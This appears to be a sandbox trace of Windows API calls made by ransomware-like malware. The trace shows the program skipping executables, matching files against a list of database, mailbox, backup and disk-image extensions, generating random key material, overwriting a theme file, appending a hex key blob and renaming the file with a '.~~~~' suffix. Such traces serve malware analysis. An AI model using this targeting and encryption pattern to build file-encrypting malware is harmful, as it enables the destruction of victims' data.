	[0084.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.489] lstrlenW (lpString=".sqb") returned 4
	[0084.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".sqb") returned 0x0
	[0084.489] lstrlenW (lpString=".ost") returned 4
	[0084.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".ost") returned 0x0
	[0084.489] lstrlenW (lpString=".txt") returned 4
	[0084.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".txt") returned 0x0
	[0084.489] lstrlenW (lpString=".mdt") returned 4
	[0084.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".mdt") returned 0x0
	[0084.489] lstrlenW (lpString=".BDB") returned 4
	[0084.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".BDB") returned 0x0
	[0084.489] lstrlenW (lpString=".eql") returned 4
	[0084.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".eql") returned 0x0
	[0084.489] lstrlenW (lpString=".DBF") returned 4
	[0084.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".DBF") returned 0x0
	[0084.489] lstrlenW (lpString=".EQL") returned 4
	[0084.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".EQL") returned 0x0
	[0084.489] lstrlenW (lpString=".FDB") returned 4
	[0084.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".FDB") returned 0x0
	[0084.489] lstrlenW (lpString=".EDB") returned 4
	[0084.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".EDB") returned 0x0
	[0084.489] lstrlenW (lpString=".DACPAC") returned 7
	[0084.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".DACPAC") returned 0x0
	[0084.490] lstrlenW (lpString=".VHD") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".VHD") returned 0x0
	[0084.490] lstrlenW (lpString=".DBV") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".DBV") returned 0x0
	[0084.490] lstrlenW (lpString=".dacpac") returned 7
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".dacpac") returned 0x0
	[0084.490] lstrlenW (lpString=".sdf") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".sdf") returned 0x0
	[0084.490] lstrlenW (lpString=".accdb") returned 6
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".accdb") returned 0x0
	[0084.490] lstrlenW (lpString=".DBX") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".DBX") returned 0x0
	[0084.490] lstrlenW (lpString=".MDT") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".MDT") returned 0x0
	[0084.490] lstrlenW (lpString=".SQB") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".SQB") returned 0x0
	[0084.490] lstrlenW (lpString=".vhd") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".vhd") returned 0x0
	[0084.490] lstrlenW (lpString=".bac") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".bac") returned 0x0
	[0084.490] lstrlenW (lpString=".mdf") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".mdf") returned 0x0
	[0084.490] lstrlenW (lpString=".BAK") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".BAK") returned 0x0
	[0084.490] lstrlenW (lpString=".BAC") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".BAC") returned 0x0
	[0084.490] lstrlenW (lpString=".dbs") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".dbs") returned 0x0
	[0084.490] lstrlenW (lpString=".vhdx") returned 5
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".vhdx") returned 0x0
	[0084.490] lstrlenW (lpString=".NDF") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".NDF") returned 0x0
	[0084.490] lstrlenW (lpString=".dat") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".dat") returned 0x0
	[0084.490] lstrlenW (lpString=".DBS") returned 4
	[0084.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".DBS") returned 0x0
	[0084.491] lstrlenW (lpString=".CKP") returned 4
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".CKP") returned 0x0
	[0084.491] lstrlenW (lpString=".edb") returned 4
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".edb") returned 0x0
	[0084.491] lstrlenW (lpString=".PST") returned 4
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".PST") returned 0x0
	[0084.491] lstrlenW (lpString=".dbf") returned 4
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".dbf") returned 0x0
	[0084.491] lstrlenW (lpString=".SQL") returned 4
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".SQL") returned 0x0
	[0084.491] lstrlenW (lpString=".pst") returned 4
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".pst") returned 0x0
	[0084.491] lstrlenW (lpString=".dbv") returned 4
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".dbv") returned 0x0
	[0084.491] lstrlenW (lpString=".SDF") returned 4
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".SDF") returned 0x0
	[0084.491] lstrlenW (lpString=".dtxs") returned 5
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".dtxs") returned 0x0
	[0084.491] lstrlenW (lpString=".db3") returned 4
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".db3") returned 0x0
	[0084.491] lstrlenW (lpString=".OST") returned 4
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".OST") returned 0x0
	[0084.491] lstrlenW (lpString=".dbx") returned 4
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".dbx") returned 0x0
	[0084.491] lstrlenW (lpString=".DB3") returned 4
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".DB3") returned 0x0
	[0084.491] lstrlenW (lpString=".DAT") returned 4
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".DAT") returned 0x0
	[0084.491] lstrlenW (lpString=".VHDX") returned 5
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".VHDX") returned 0x0
	[0084.491] lstrlenW (lpString=".ndf") returned 4
	[0084.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".ndf") returned 0x0
	[0084.492] lstrlenW (lpString=".DB") returned 3
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".DB") returned 0x0
	[0084.492] lstrlenW (lpString=".sql") returned 4
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".sql") returned 0x0
	[0084.492] lstrlenW (lpString=".MYD") returned 4
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".MYD") returned 0x0
	[0084.492] lstrlenW (lpString=".DBT") returned 4
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".DBT") returned 0x0
	[0084.492] lstrlenW (lpString=".ACCDB") returned 6
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".ACCDB") returned 0x0
	[0084.492] lstrlenW (lpString=".fdb") returned 4
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".fdb") returned 0x0
	[0084.492] lstrlenW (lpString=".bak") returned 4
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".bak") returned 0x0
	[0084.492] lstrlenW (lpString=".myd") returned 4
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".myd") returned 0x0
	[0084.492] lstrlenW (lpString=".DTXS") returned 5
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".DTXS") returned 0x0
	[0084.492] lstrlenW (lpString=".ckp") returned 4
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".ckp") returned 0x0
	[0084.492] lstrlenW (lpString=".dbt") returned 4
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".dbt") returned 0x0
	[0084.492] lstrlenW (lpString=".db") returned 3
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".db") returned 0x0
	[0084.492] lstrlenW (lpString=".TXT") returned 4
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".TXT") returned 0x0
	[0084.492] lstrlenW (lpString=".MDF") returned 4
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".MDF") returned 0x0
	[0084.492] lstrlenW (lpString=".bdb") returned 4
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".bdb") returned 0x0
	[0084.492] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0084.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363030
	[0084.493] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395388) returned 1
	[0084.494] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0084.494] CryptReleaseContext (hProv=0x395388, dwFlags=0x0) returned 1
	[0084.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0084.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0084.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.494] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20448404292) returned 1
	[0084.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9c317130, dwHighDateTime=0x1d60e1e)) 
	[0084.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0084.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0084.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0084.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2838
	[0084.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2838 | out: hHeap=0x300000) returned 1
	[0084.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808918
	[0084.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28431c8
	[0084.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808918 | out: hHeap=0x300000) returned 1
	[0084.494] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.495] GetLastError () returned 0x0
	[0084.495] GetLastError () returned 0x0
	[0084.495] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.495] GetLastError () returned 0x0
	[0084.495] GetLastError () returned 0x0
	[0084.498] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffddb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.498] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x225, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x24dfec0*=0x225, lpOverlapped=0x0) returned 1
	[0084.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0084.499] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.499] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.499] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.499] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.499] CloseHandle (hObject=0x120) returned 1
	[0084.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.499] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf.~~~~")) returned 1
	[0084.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0084.500] GetLastError () returned 0x0
	[0084.500] RtlWakeConditionVariable () returned 0x365f70
	[0084.500] GetCurrentThreadId () returned 0x3a4
	[0084.500] GetCurrentThreadId () returned 0x3a4
	[0084.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28089c0
	[0084.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808d08 | out: hHeap=0x300000) returned 1
	[0084.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2870 | out: hHeap=0x300000) returned 1
	[0084.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808d08
	[0084.501] lstrlenW (lpString=".scr") returned 4
	[0084.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.501] lstrlenW (lpString=".cmd") returned 4
	[0084.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.501] lstrlenW (lpString=".dll") returned 4
	[0084.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.501] lstrlenW (lpString=".bat") returned 4
	[0084.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.501] lstrlenW (lpString=".cpl") returned 4
	[0084.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.501] lstrlenW (lpString=".sys") returned 4
	[0084.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.501] lstrlenW (lpString=".msc") returned 4
	[0084.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.501] lstrlenW (lpString=".com") returned 4
	[0084.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.501] lstrlenW (lpString=".lnk") returned 4
	[0084.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.501] lstrlenW (lpString=".msp") returned 4
	[0084.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.501] lstrlenW (lpString=".pif") returned 4
	[0084.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.501] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.502] lstrlenW (lpString=".sqb") returned 4
	[0084.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.502] lstrlenW (lpString=".ost") returned 4
	[0084.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0084.502] lstrlenW (lpString=".txt") returned 4
	[0084.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.502] lstrlenW (lpString=".mdt") returned 4
	[0084.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.502] lstrlenW (lpString=".BDB") returned 4
	[0084.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.502] lstrlenW (lpString=".eql") returned 4
	[0084.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.502] lstrlenW (lpString=".DBF") returned 4
	[0084.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.502] lstrlenW (lpString=".EQL") returned 4
	[0084.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.503] lstrlenW (lpString=".FDB") returned 4
	[0084.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.503] lstrlenW (lpString=".EDB") returned 4
	[0084.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.503] lstrlenW (lpString=".DACPAC") returned 7
	[0084.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.503] lstrlenW (lpString=".VHD") returned 4
	[0084.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.503] lstrlenW (lpString=".DBV") returned 4
	[0084.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.503] lstrlenW (lpString=".dacpac") returned 7
	[0084.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.503] lstrlenW (lpString=".sdf") returned 4
	[0084.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.503] lstrlenW (lpString=".accdb") returned 6
	[0084.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.503] lstrlenW (lpString=".DBX") returned 4
	[0084.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.503] lstrlenW (lpString=".MDT") returned 4
